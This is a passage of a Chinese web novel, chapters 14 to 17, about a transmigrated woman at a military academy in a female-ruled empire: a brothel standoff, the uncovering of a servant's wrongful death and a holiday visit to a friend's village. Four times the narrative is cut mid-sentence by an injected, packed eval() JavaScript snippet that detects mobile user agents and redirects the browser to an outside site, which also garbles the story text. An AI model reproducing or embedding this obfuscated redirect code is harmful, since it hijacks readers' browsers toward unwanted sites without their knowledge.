听完她的“白纸论”,胡燃无语地翻了个白眼,“你直接说想玩儿处男不就得了,还白纸邸报的给我扯这么一堆……你等着,我让人给你叫个没开瓜的。但我真觉得,处男没这些调教好的好玩儿,那些青瓜蛋子还没两下子就软了不说,而且没经验,不知道怎么伺候才能让女人爽快……” 要论年龄,商茁应该是这群人里最大的那个,但是她玩儿男人的经验,在侃侃而谈的胡燃面前,就是个妹妹!她历届的男友都身处二次元,她和男友们的交互只存在视觉和听觉,哪里比得上这个世界里身经百战的女人们…… 听着胡燃仿佛在挑选菜市场的白菜那样,老练地对比着男人们的服侍水平,商茁既有些尴尬,又有些羡慕。她生活的世界里,虽然有一代代的女性在不断地发声、争取着属于女性的权力和尊严,但是现实仍是有种种约束着女性的框架。 “贞操”二字捆绑了女性几千年,早已深深地勒进了女性的血肉中。商茁从小对“性”的认知就是不可言说的红线,社会种种声音告诉女孩,“女性要自尊自爱、着装要规范得体、要做一个好姑娘……”以至于,女性哪怕遭遇了侵犯,都要首先证明自己穿得严严实实,并没有招惹犯罪人……只有完美受害人,才能避免被口诛笔伐地审判,遭受二次伤害。 就在胡燃准备命人带几个没破瓜的处男过来时,门外传来一阵喧闹。 众人还未反应过来,便听“砰!”一声巨响…… 伎院的老鸨被人踹进了屋中,房间内的欢笑声戛然而止。 云煜拍了拍身上不存在的浮尘,迈着长腿走了进来。她的目光直直地落在了胡燃身上,“胡女君,好生霸道啊~春风楼两大花魁,你一个人占了俩,让其他来的人玩什么?” 胡燃懒洋洋地靠在椅背上,回道:“原来是云二啊~你长姐痛失马球比赛第一名,你着当妹妹的,不在家安慰也就罢了,还有心情出来玩儿男人?” 云煜一连被戳到两个痛脚,恼羞成怒道:“好你个胡燃!别以为有个当皇后的哥哥所有人都怕你!我今日便要教训教训你,让你知道什么是天高地厚!” 胡燃撸起袖子,冷笑道:“真是笑死人了,一个不学无术的纨绔女,竟然要教别人什么是天高地厚!” 眼看两哥人的战斗一触即发,队友们皆起身站到胡燃身侧,隐隐将只带了两名侍卫的云煜包围起来。 见此场景,商茁连忙上前劝架。她和云煜打过两次交道,能感觉对方并不是什么坏人,只是有些孩子脾气。更何况云煜之前还送了她张价值千金的阅武请帖,她总不能眼睁睁看着对方在自己面前挨打。 而且听两人的对话,胡燃的来头也不小,一个是定国侯的女儿,一个是皇后的妹妹,两个人真打起来,到时候就不是那么容易收场了…… 商茁走到两人中间,神情认真地说:“两位,请听我一言!你们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948428|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚如果动手了,恐怕明日大街小巷到处传的都是,‘定国候女儿和皇后妹妹为个伎子,冲冠一怒’……你们也不想成为整个京城的谈资吧?” 说着,商茁一人分饰多角,模仿着人们八卦时的样子,“哟~你听说了吗?定国候家的二女儿昨晚和皇后的亲妹妹两人在春风楼里大打出手呢!听说就是为了个伎子……” “我听说,两人为了赢得伎子芳心,争抢着要给伎子生孩子呢!定国候家女儿说要给伎子生两个!结果——皇后妹妹要给伎子生五个!” “天啊!这两个女人是疯了吗?脑壳坏了吧?!竟然为了一个伎子这么拼!” 商茁夸张的表情和逆天的发言,成功膈应到了两个人。甚至像齐骥这种笑点低的人,听完忍不住“扑哧”一下笑出声来。 胡燃眼角抽了抽,她想不通商茁这个平日里一副老实人做派的好学生,怎么会把市井小民的形象模仿得如此相像的。不得不说,她成功打消了自己刚才生出的怒气。 光是想想会有人传她为一个伎子与人大打出手,胡燃就感到一阵恶寒。她堂堂皇亲国戚,平日里又自视甚高,怎么会看得上一个玩物?!还和他生孩子?!还生五个!就离谱!可偏偏市井小民很有可能就是这么想的……为了和云二逞一时之勇,不值! 想通了的胡燃揉了揉太阳穴,又一屁股重新坐了回去。其他几个队友见当事人都偃旗息鼓了,自然也不会再继续追究,大家都又纷纷坐了回去。 只留云煜一人孤零零地站在原地,她张张嘴想说什么,但是又不知道从何说起,最后只能不甘地朝空气挥了一拳。她就知道每次遇到商茁准没好事儿!偏偏她每回还说得特别有理有据,让人挑不出毛病,一个军校生也不知道怎么就如此伶牙俐齿! 看着一脸憋屈的云煜,商茁有些好笑地上前邀请道:“云煜同学,来都来了,不如坐下一起喝杯?都是军校的同学,也没外人……” 云煜闻言有些心动,但面子上又有些过不去,她傲娇地扬了扬下巴,“你说得算吗你~张嘴就来。”话刚出口,云煜就后悔了,她只是想让商茁多邀请自己几次,但一张嘴,说出的话就显得她好像多瞧不起商茁一样。 就在云煜心底在懊悔地挠墙时,商茁一胳膊揽住了她,笑眯眯地说:“你要是过意不去,今晚就由你请客喽~来坐吧,那边还有位置。” 云煜嘴上说着:“你们都吃完了,让我请客,我长得像冤大头吗?”可脚步却是非常顺从地跟着商茁来到里面。 商茁:“再命人上一桌新的好酒好菜不就得了~我们都还没吃饱,可以再陪你吃点……” 屋内的几人都不是什么小气记仇的人,见商茁把人拉了进来,也没有半分不悦,七嘴八舌地应和道:“我消化得快,这会儿又饿了。”、“刚才只顾看跳舞了没吃饭,刚好大家一起再吃点。”、“对对对……” 在大家有意调节下,气氛很快又热闹起来。 “啊?还吃?!”听到队友们的话,赵国安苦恼地看向自己撑得溜儿圆的肚子有些发愁。 15. 第 15 章 马球比赛结束后,商茁她们十个人就重新回到各自班里了,解散前靳教官还郑重地和大家进行了告别,“姑娘们,很开心能当大家这半个月的教官~有你们这些蓬勃向上的年轻人在,相信未来的大朝会更加繁荣昌盛!”说完,靳教官目光扫过每一个队员的脸,认真地把几人的面容记到脑海,然后大手一挥,“马球队,就地解散。” 几个女孩子都不舍地看着教官,“靳教官,您教哪个班的?我们以后还能和您见面吗?” 靳教官爽朗一笑,“哈哈,当然能~不过,我教的是二级班。”她意味深长地看着这群女孩子,“希望明年能在班上看到你们几个。特别是你小商,希望还有机会看到你精彩的指挥……” 回到自己的班级后,商茁每日的生活一如既往,训练、训练、不停地训练。若不是胡燃、连遥她们几个课下时常来找她聊天玩闹,商茁都以为那场激烈的马球比赛是自己的梦境了。 让商茁意外的是,云煜也回来上课了。 因为酒宴上商茁替自己解了围,云煜便觉得这人其实也还不错,加上之前云雾向她说了不少商茁的好话,所以她就‘大人不记小人过’,原谅商茁之前的冒犯了,还纡尊降贵地准许了商茁成为自己的朋友。 之前云煜在军校并没有认识什么朋友,因此被她默认是朋友的商茁,就是她回来后唯一可以聊天的人,她便下意识地亲近商茁。 两人闲聊时,说到了她回军校训练这件事。按云煜的原话,她是因在家无聊,这才来军校打发时间的。不过后来说漏嘴了,商茁才知道是云煜的长姐看不惯她在家无所事事,所以命人把她押送到军校的。 “你长姐是不是马球比赛文院队的那个指挥?”商茁好奇地问道。 云煜一脸骄傲地点点头,“我长姐可是少有的高等阈值!从小就特别厉害!学什么都很快!女君六艺,她样样都是第一!”说到这里,云煜想起了前不久的马球比赛,她哼了一声,辩解道:“主要是文院那群书呆子技术不行,连累了我阿姐,不然第一肯定是我阿姐的……” 商茁好笑地看了她一眼,以前还没发现,云煜还是个姐控,提起她姐马上化身狂热小迷妹。 两人有一搭没一搭地聊着,直到商茁随口问了句,“你们姐弟三个看起来感情还挺好~是同一个爹吗?” 云煜翻了个白眼,“我们是一个娘生的,当然感情好!关爹什么事儿?”虽然不屑回答这个问题,但云煜还是诚实地告诉了商茁,“我和长姐的父亲是娘的正夫,云雾的父亲是娘的小侍。” 商茁点点头,定国侯的基因十分强大,几个孩子和她长得都很像,所以商茁才以为几个孩子是同一个爹。 说起云雾,商茁突然想到了一件事,她低声问道:“绑架云雾的人抓到了吗?” 云煜眼皮一跳,连忙看了眼四周,确认旁边没有其他人后,才低声训斥道:“事关男儿家名声的事,你就在大庭广众之下这么说出来了?!要是有损云雾名声,我就命人绑了你去和云雾成亲!” 商茁属实被这个成亲警告给吓到了,她摸了摸鼻子,讪笑道:“这会儿不就咱们两个嘛~而且我声音这么小,不会有人听到的……” 云煜朝她瞪了眼,这才把结果告知,“还没抓到。因为此时事关云雾名声,侯府只能派人暗中抓捕那两个歹徒,也不知道那两个畜生躲哪里去了……只会欺负手无缚鸡之力的男人,都是些孬种!” 眼看云煜说着说着情绪越来越激动,商茁扯了把她的袖子,示意她注意场合。云煜哼了声,没再继续骂下去。 待到云煜情绪平复下来,商茁试探地问:“我救云雾时,隐约听到凶手说是因为云雾害了她哥哥,所以这才抓了云雾?” 云煜立马反驳道:“怎么可能!云雾从小胆子还没兔子大,怎么会害人!” “好好好,我相信你,你先不要激动……”商茁安抚着云煜的情绪,继续问:“那凶手的身份你们调查出来了吗?她是不是真有个哥哥在你们府上?” 云煜拧着眉,一脸不爽地说:“其中一个凶手是侯府的侍卫,另一个是她的邻居。她确实有个哥哥曾在云雾身边服侍,但几个月前就因为妄图爬床,被云雾打发到庄子上了。” 商茁摸了摸下巴,一脸沉思,“她哥哥因为什么没的,你们调查清了吗?” 云煜气呼呼地说:“她哥哥是自个儿上吊自尽的,关云雾什么事儿!这都能怪到我弟弟头上,她怎么不怪老天奶呢!” 商茁突然开口,打断了云煜的抱怨,“凶手哥哥平时为人怎么样?” 云煜翻了个白眼,“我怎么知道?他是我弟弟房里的小厮,我这个当姐姐的,怎么好一天天的盯着弟弟房里的人……” 商茁:“你刚才不是说,凶手哥哥妄图爬床吗?他要爬也是爬你的床吧?总不能爬你弟弟的。” 云煜嘴角抽了抽,心累地答道:“我家又不止我一个女儿,是爬我阿姐的。” 商茁摇摇头,“不对。两个凶手一个是为兄报仇,另一个凶手在言语中透漏过,自己和这个死去的小厮关系匪浅。能让她甘愿舍弃下半生的前途乃至性命,两人的感情即便不说情比金坚,也定然是情至浓时。否则,她绝不可能冒险与另一人合谋绑架侯府公子。” “这样一来,妄图爬床就说不通了。一个已经有相爱之人的人,怎么会突然去爬床?以我所见,云雾和你长姐的关系并不如你们俩这么亲近,而且他很大程度心里对你长姐有些惧怕。谁会整天去自己畏惧之人身边凑?云雾身边的小厮要想爬你长姐的床,起码得有机会去她院子吧?云雾身为主子都不往你长姐的院中去,他一个小厮怎么去到你长姐院中爬床?” 这一长串的分析,把云煜听得目瞪口呆,她试图理清脑海中的乱麻跟上商茁的思路,可是想得头都痛了,也没想出个所以然。 她正想说“等抓到凶手后就都清楚了”,却听商茁道:“你要是想不明白,就回家后把咱们的谈话告诉你长姐,她肯定会明白的。刚好马上要休沐了。你切记,一定要让你长姐调查清楚凶手哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955342|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是怎么死的?他有家人有爱人,好端端的怎么会去自尽?还有,查清楚爬床究竟是怎么回事?你长姐是当事人之一,她应该对这件事有印象……” 云煜本来想说“你瞧不起谁呢?”,就听到商茁后面的话——调查这个、查清内个,闻言头都大了。她默默地把没说出口的话咽回肚子,努力把商茁的话都记下。 月末休沐时,云煜刚下车就直奔长姐的院中。文院和军校一样,都是月末休沐,所以云煜不担心自己会扑空。 到了长姐的扶摇院中,果然看到一袭蓝衣的长姐正负手站在院中,垂眸看着正在桌上喝水的鹦鹉。 这只名叫“长空”的鹦鹉是长姐从小养大的,一人一鸟感情颇深,哪怕不关笼子里,鹦鹉也不会飞走。 “阿姐!你听我说……” 云熠一个眼神扫来,云煜立马噤声。 看到自己的爱宠没有被云煜的大嗓门吓到,云煜这才不慌不忙地开口,“什么事?” 云煜放缓声音,轻声说道:“是有关绑架云雾的那两个人的,我和朋友闲聊时提到了这两个……” 云熠看了眼妹妹,有些头疼地说:“不是告诉你管好自己的嘴巴,只当什么都不知道就好,这件事我会处理的。” 云煜撅了噘嘴,闷闷不乐地说:“我也是云雾的姐姐,云雾受了这么大的委屈,我想帮他早日抓到凶手不行吗?” 云熠嗤笑了声,“你当个喇叭把这件事宣扬出去,事情就能解决了?而且此事云雾并不无辜……我已说服母亲撤回追踪顾虎二人的人手了,这件事以后就不要提了。” 云煜不解地问道:“为什么啊?难道云雾挨的打就白挨了吗?我知道阿姐你不喜欢云雾,可他怎么说也是我们的弟弟。如今他被人欺负,你怎么能袖手旁观呢!” 云熠听着妹妹一句接一句的抱怨,沉默不语,直到云煜不再说话后,这才悠悠开口道:“说完了?那我就要好好问你,我何时说过我不喜欢云雾了?” 云煜撇了撇嘴,“这不明摆着吗?你老是动不动就罚云雾抄《男训》,还让他罚跪!云雾都给我……”话说一半,云煜想起了什么,突然戛然而止。 她偷瞄了眼长姐的脸色,发现对方的表情未变,这才敢继续说下去。“总之,我今天来,是想拜托阿姐调查下那个小厮的真正死因,还有当初那个小厮爬床是怎么回事……商茁说这些告诉你,你会明白的。”说着,便把两人的谈话告诉了云熠。 云熠对云煜前面说的有关云雾的事并不感兴趣,她不用听就知道自己这位好弟弟在背后是怎么编排她的。她对云雾唯一的要求就是不要败坏定国侯府的门楣,其他的她也懒得管。 云雾在她心里和他那个又蠢又坏的爹没什么两样,也就自己这个傻妹妹真把云雾当个天真单纯的小白兔。 不过听到云煜复述和朋友的对话时,云熠的脑海中又浮现出那张坚毅冷静的面容——商茁,她在口中轻声呢喃着这个名字,血液不由自主地沸腾起来,是一种棋逢对手的兴奋。 16. 第 16 章 “阿姐,行吗?”云煜哀求道。 眼见自家的傻妹妹还在眼巴巴等她回复,云熠轻叹一声,“这件事已经处理好了。” 云煜惊呼道:“什么?!歹人不是还没抓到吗?” 云熠三言两语把事情大致经过讲给了妹妹,“顾虎哥哥名叫顾草,母亲英年早逝,父亲改嫁,只留她们兄妹二人相依为命。为了养活妹妹,他自卖自身来到我们府上当了个小厮,不过他当时签的是活契。之后顾草因性格老实本分和一手出色的绣活儿,被云雾要走当贴身小厮……” 云煜蹙着眉,一脸不解,“老实本分?他装的吧?他都敢爬阿姐你……” 云熠睨了她一眼,云煜讨好地笑笑,立刻闭上嘴,用手势表示自己不再插话。 云熠接着讲:“爬床的人不是顾草,是许清莲的侄子——许秀秀。那日他和云雾在花园密谋时,被长空听到了。回来后,长空把他们的话学给我听,我提前有了防范。事情败露后,他们便把罪名推到了顾草身上。”说到这儿,云熠目光望向定国候的院子方向,眼底一片寒凉,“当时母亲说事关云雾和许秀秀两个男儿家名声不能声张,这件事她会处理好。结果……” 云熠嗤笑一声,“英雌难过美人关。我们的女侯母亲最后的处理方式就是将此事压下,把顾草打发到庄子。” 看着长姐一脸不善的表情,云煜小心翼翼地问:“那顾草怎么又自尽了?” 云熠收回目光,淡淡道:“庄头的独女强占了顾草,庄头为了压下此事,反诬顾草勾引。顾草伸冤无门,绝望之下,便上吊自尽了。” “当时北大营当差的顾虎,得知了兄长去世的消息,并不相信庄头的话,但是人证物证摆在面前,她也不得不接受。后来,顾虎突然辞去了百户的官职,来到了我们府里做了一名侍卫。” “之后的事情,你也知道……” 云煜愣在原地,张了张嘴却没有发出声音。 半晌,云煜终于神志回笼,她声音干涩地问:“那顾虎的那个帮手又是怎么回事?” “冯顾两家是邻居,冯冉和顾草两人是青梅竹马。据冯冉交代,她和顾草早已私定终身,只等顾草契满后,两人便成亲。只是,谁也没想到会发生后来的事……” 云熠闭了闭眼,再次睁眼,周身的温度都冷了几分。她冷笑着说:“朝廷重武轻文,冯冉又是一介寒门,可她仍是考上了举人,可想而知她平日里有多努力刻苦……就因为云雾和许秀秀两人,不光让一个无辜之人没了性命,更是让大朝少了一个保家卫国的武将,一个治国安邦的文官!” 云煜看着盛怒的长姐,大气也不敢出。她不知道事情的真相竟然是这样,她之前从来不知道,平日里乖巧温顺的弟弟竟然会害人…… 云熠朝妹妹摆摆手,“你回去吧,这件事和商茁说过之后不许再和其他人提起。不然……”说着,云熠露了个威慑的眼神。 云煜缩了缩脖子,蔫蔫儿地说:“我知道。” 正准备离开时,云煜突然想到什么,“诶!阿姐,那个庄头的女儿处置了没?不能让她一点惩罚都没啊!” 云熠面上古井无波,只是淡淡地说了几个字。“她死了。” 闻言,云煜瞪大了双眼,结结巴巴地重复道:“死、死了?” 云熠点点头,“顾虎离开京城前,赶去了庄子杀了庄头的女儿。” 云煜有些担忧地问:“那顾虎现在在哪儿?” 云熠转身向屋内走去,只留下凉凉的声音飘入云煜耳中,“小孩子好奇心太重会长不高。回去吧。” 鹦鹉长空对云煜重复着主人的话。“长不高~长不高~嘎嘎~”说完便拍拍翅膀朝主人飞去。 云煜气得跺脚,指着长空的背影骂道:“死鸟!早晚把你的毛扒光!” “这鸟不知道是什么品种,羽毛竟是彩色的。” 商茁走到倚着柱子发呆的云煜身旁,搭话道。 “嗯?”云煜被来人惊醒,意识从混乱的回忆中抽出。“你说什么?” 商茁无奈地又重复了一遍,“我说这鸟还挺好看的……” 云煜:“哦哦,是说鸟啊……我阿姐也有只鸟,叫长空,长得还行,不过脾气特别臭!” 商茁好笑地问:“比你脾气还臭?” 云煜不满地瞪着她,“你什么意思?是说我脾气臭吗?!” 商茁连忙举手投降,“我脾气臭!云女君脾气最好啦~人又真诚善良……” 把人哄开心了,商茁连忙问道:“顾虎那件事你问你阿姐了吗?她怎么说?” 云煜想到顾虎兄妹俩的遭遇,脸上下意识露出不忍的表情。一旁的商茁看到后,心里一凉,“你们把她杀了?!” 闻言,云煜瞪大了双眼,大声反驳道:“谁,谁杀……”话还没说完,就被商茁捂住嘴。 商茁看着拼命挣扎的云煜,无奈低声道:“大姐,知道你背景硬,但也不用嚷得人尽皆知吧?保证不喊了,就眨眨眼。” 云煜拼命眨眼。 商茁看着眼睛仿佛抽筋一样的云煜,抿了抿唇,竭力按捺住自己上扬的嘴角。随即松开了手。 恢复自由的云煜大口大口地喘着气,一副快要被溺毙了的模样。商茁见此情景嘴角抽了抽,吐槽道:“我又没捂你鼻子,你可别讹我……” 云煜闻言一愣,这才反应过来,自己刚才光顾着挣扎,竟忘了用鼻子呼吸! 一股淡淡地尴尬弥漫在两人中间,云煜轻咳两声,清了清嗓子,一副不记得刚才发生了什么的样子,故作淡然地把长姐的话告诉了商茁。 商茁听完后,下意识地皱起眉头。她不知道该说些什么,只觉得心头一股悲凉。普通人的命运随着上位者的一句话就会发生改变,若是遇到云熠这样明事理的人,用性命碰撞出的一点声响或许还能被听到,可若遇到视人命如草芥的上位者,那结果大概是顾冯两家会从这个世上消失,随着时间推移,没有人会记得她们,这宗冤案将彻底石沉大海…… 云煜看了眼商茁,虽然她面上没什么变化,但她周身的氛围却格外沉重,就如——那日的阿姐一般。云煜觉得现在这件事明明已经处理好了,而且还有个不错的结局,顾虎大仇已报,而且有阿姐庇护,她肯定没事。但看阿姐和商茁的反应好像并不开心? 好在片刻之后,商茁就又恢复成往日那般,脸上挂着笑容和她又聊起旁的话题。 日子一天天地过着,商茁看着军校里的银杏树,从满头郁郁葱葱地绿叶,逐渐变成金黄色,风一吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982290|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,树叶就像一群金色的蝴蝶,在风里飞舞。到现在,银杏树只剩孤零零的树干,在寒风中瑟瑟发抖。 “阿茁!你原来在这儿,可让我好找!” 一个巴掌熟络地拍向商茁的背部,可力度却控制的很好,并没有打疼她。商茁回头望去,下意识地弯起眼睛,“国安姐。” 赵国安走了过来,大咧咧地揽住商茁的肩膀,朝商茁刚才看的地方望去,“几颗光秃秃的破树有啥好看的!” 听着赵国安一如既往直白的话,商茁笑眯眯地附和道:“嗯,是没什么好看的。国安姐,你找我有事?” 赵国安:“阿茁,咱们马上要放授衣假了,你知道吧?” 在这里带了几个月,商茁已经知道授衣假就是寒假的意思了,她点点头,“我知道。” 赵国安摸了摸鼻子,声音也放缓了些,“内个,你打算怎么过啊?你家不是、只剩你一个人了……” 闻言,商茁陷入了沉思,医馆的大家都有自己的家人,过年大家都是要回各自的家里,她也不好去叨扰人家。但自己在这里并没有房子可以落脚,商茁琢磨着这两天去城里看看,住客栈和租个小院哪个划算……她平时没什么开销,军校发的补贴她都存下来了,应该够她一段时间的花销。 见商茁不说话,赵国安还以为自己戳到她的痛处了,连忙道歉,“阿茁,抱歉抱歉,你知道的,我一向笨嘴拙舌的……” 商茁回过神,有些迷茫地看赵国安一脸愧疚地冲自己道歉。 赵国安一拍额头,干脆破罐子破摔说明了来意:“我就是想问你,过年这几天要不要来我家玩?我娘和爹都欢迎你!唉,我本想直接问的,可我爹非让我说得委婉点。我哪儿会什么委婉……” 商茁看着突然碎碎念的赵国安,觉得心里一暖。对方虽然比自己小,也没有血缘关系,但对她的关心和爱护,比真正的亲人还要真诚和温暖。 商茁有些犹豫地问:“国安姐,我去的话,会不会打扰到你们一家人……” 听到商茁没有拒绝,赵国安开心地揽住她,“打扰啥呀~我们家就喜欢热闹!我娘知道我认了个妹妹,很开心,早就想见见你了~我跟你说,不用担心,我母父人都很好的,而且我家里没有什么乱七八糟的亲戚,你放心来就是!” 听着赵国安一连串的介绍,商茁还是同意了她的邀请,国安姐一直对她多加照顾,商茁也想拜访下国安姐的母父。再者,一个人孤零零地在陌生世界里过年,简直孤寂感拉爆了,商茁不想当空巢老人…… 在教官通知放假的那刻,教室里顿时一片欢呼雀跃。 同学们七嘴八舌地讨论着过年要去哪里玩,交好的同学相约一同逛庙会,还有人约着一起下馆子的……整个教室比菜市场还要热闹。 傅教官看着面前兴奋的学生们,无奈地摇了摇头,她也不想在孩子们开心的时候扫了大家的兴。叮嘱了几句注意安全后,傅教官便离开了教室,把时间留给了学生们。 云煜也找上了商茁,相约一同逛庙会。 商茁揽住赵国安的肩膀,笑着说:“我们姐妹俩一起去哈~” 云煜看着两个人亲密的模样,心里有些吃味,她哼了声,“随便你,跟谁没有阿姐一样,我也叫上我阿姐!” 17. 第 17 章 虽然赵国安一再说不用带礼物,但是商茁还是私下去买了些点心、茶叶、布匹之类的礼物,毕竟第一次上门做客,总不好空着手。结果一不小心买多了,就导致她和赵国安两人都是大包小包,没有一只手是空闲的。 赵国安的家在城外的清泉村,距离城内并不远,所以商茁两人也没再雇车,就这样拎着大包小包地走了回去。 两人还在村外的路上走着,隔着大老远就看到村口站着两个模糊的人影,赵国安定睛一看,惊喜地大喊一声:“娘!爹!”商茁还没反应过来,就见她“噔噔噔”朝人影飞奔过去。 赵国安本来是想拥抱下许久未见的母亲,但奈何她双手都拎着商茁买的礼品,又怕放在地上会弄脏,只好滑稽地拎着东西朝母亲张开双臂。 赵母也是非常配合地把女儿搂进怀中,笑着地拍了拍女儿的背部,“好闺女!辛苦了~” 一旁的赵父拿着帕子擦拭着眼中的泪花,几个月不见女儿,他和妻主都对女儿思念得紧。 赵国安和母亲抱过后,又朝父亲伸了伸手,“爹!” “诶!”赵吴氏连忙应了声,慈爱地将女儿揽入怀里,“安安,又长高了~最近在军校过得怎么样?累不累?没有人欺负你吧?你……” 赵母看了眼不远处的商茁,打断了夫婿,“阿兰,这些话回去再说,闺女还带了朋友,别让人家等久了。” 赵父想起女儿之前说要带认得妹妹回来过年的事儿了,慌忙松开女儿,转过身用手帕将脸擦拭干净。 赵国安一家人说话的时候,商茁也走了过来,她礼貌地对赵母赵父打了声招呼,“赵姨好,叔叔好~我是商茁。” 赵母热情地拉过商茁,“好好好!小茁是吧?国安每次回家都会提起你!今日一见果然是一表人才,英雌少年!” 商茁被赵母夸得有些不好意思,连连摆手,“不不不,赵姨您过奖了,国安姐才是真正的少年英才。”手中的礼盒随着她的动作“咚咚”作响。 一旁的赵父看着妻主谈兴大发,又要说个不停,他柔声劝道:“妻主,孩子们还拎着东西呢,咱们先回家吧。” 赵母这才恍然,伸手拍了拍自己的额头,感叹道:“害!我这老毛病又犯了!看到你们这些朝气蓬勃的年轻人就总说个没完……走走走,咱们先回家。”说着,她不由分说地接过商茁和赵国安每人手里一半的东西,走在前面带路。 赵国安看了眼母亲有些颠簸的背影,小声地对商茁说:“我娘很喜欢你呢!我表妹来我们家那么多次,她一次都没来接过。” 赵父也在一旁柔柔地笑着,“是啊,妻主老早就想见见小茁了,得知你要来,一大早就去城内买了好多吃食,让我给你们多做几道拿手菜……” 商茁看了眼慈爱的赵父,摸了摸鼻子,不好意思地感谢道:“麻烦您了,叔叔。” 赵吴氏笑着摇摇头,“都是些平日里干惯的活计,不麻烦~听国安说她认了个妹妹,我们都高兴呢~村子里的其他孩子都有姐妹兄弟,热热闹闹的,只有我们安安……”说着说着,赵吴氏脸上露出黯然落寞的神情。 赵国安看到父亲又开始伤怀,就故作不满地抱怨道:“爹!我现在都是大人了,你不要总叫我的小名!” 赵父柔声道歉道:“安、哦不,国安,是爹不好~下次爹爹一定记住不叫你小名……” 商茁在一旁偷笑,原来高大威猛的国安姐竟然有个如此可爱的小名,她眼含笑意地帮赵父说话,“国安姐,我觉得‘安安’这个名字很好听啊~也很可爱~” 赵国安搓了搓胳膊,觉得鸡皮疙瘩都要掉下来了,“噫,这种小爷们儿唧唧的名字,哪里好听了!” 商茁嘴角噙了抹坏笑,对赵国安说道:“安安,我们走快点吧~都要看不到赵姨了。”说完,拔腿就跑。 赵国安举着拳头,佯装生气,朝着前面的商茁边喊边追,“你这厮,哪里跑!” 赵父看着追逐打闹的两人,连忙提醒道:“你们两个走慢点,小心摔倒!” 在村子里,赵家家境颇为殷实,有两百亩良田,还有五间青砖瓦房。 赵母年轻时也曾是个百户,后因在战场伤了腿,无法再继续为国效力,便退了伍。之后赵母回到家乡购置了田产,翻修了祖屋,娶了一见钟情的赵吴氏,日子倒也过得有滋有味。再到后来意外有了女儿,赵母更是觉得老天对她不薄,此生无憾了。 待三人走回家中,赵母已经命人摆好饭菜了。为了减轻夫婿平日里的活计,赵母还特地买了个仆夫,协助处理夫婿日常的家务。 几人刚进门,还没把东西放下,就听门外传来一道清脆悦耳的声音,“国安姐,你回来啦~” 商茁朝门外望去,只见一个身材纤细,长着张娃娃脸的男孩正痴痴地看着赵国安。她心下了然,这应该是国安姐的迷弟,看样子情根深种啊。 赵国安原本是背对着门口,正准备把东西放进屋里,听到声音后,瞬间将脸皱成了一团,她无声地叹了口气后,这才转过身去,朝男孩露出一个僵硬的笑容,“春、春花啊,许久未见,你、呃,你又长高了哈……”实在不知道说什么,赵国安便把父亲对她说的话,又对赵春花说了遍。 赵春花闻言,双手捧着自己红彤彤的脸颊,兴奋地说:“真的吗?国安姐,你看着我变高了吗?” 赵国安只得点点头,努力做出一副真的觉得他长高了的样子。 就在赵国安快要坚持不下去的时候,赵父过来解救了她。“国安啊,你带着小茁进屋把东西放下,一直拎着多累啊~你们两个洗把脸,咱们就开饭了~”说完,赵父又转头看向赵春花,温声问道:“小花,你吃过午饭了吗?要不一起吃点儿?” 赵春花恋恋不舍地看了眼赵国安的背影,对赵父的提议虽然非常心动,但还是十分痛心地拒绝了。“不用了吴叔,我吃过了~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987475|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您去忙吧,我回家帮阿爷浇菜去了。” 赵父笑着夸赞道:“你可真是个能干的孩子,以后谁要是娶了你,可真是有福了~” 听到赵父的话,赵春花的脸更红了,他捂着自己滚烫的脸颊,小跑着回到了自己家。 在院中做木活的赵英看了眼自家弟弟红得跟个猴屁股一样的脸,不用想就知道他刚才去哪里了。赵英摇了摇头轻叹道:“少男心事总是春啊~只可惜落花有意流水无情……” 赵春花听到阿姐又是说些他听不懂的话,直接忽略,反而问道:“阿姐,国安姐回来了,你怎么不去探望探望?你们俩小时候玩的多好啊。” 赵英伸手点了点弟弟,“你还有脸提!每次我找国安说点什么,你都非要跟着,导致现在国安大老远看到我,扭头就走!” 赵春花嘟嘟嘴,小声辩解道:“说不定是你自己做了什么令国安姐不喜的事,所以国安姐才不乐意看到你。刚才国安姐还对着我笑呢……” 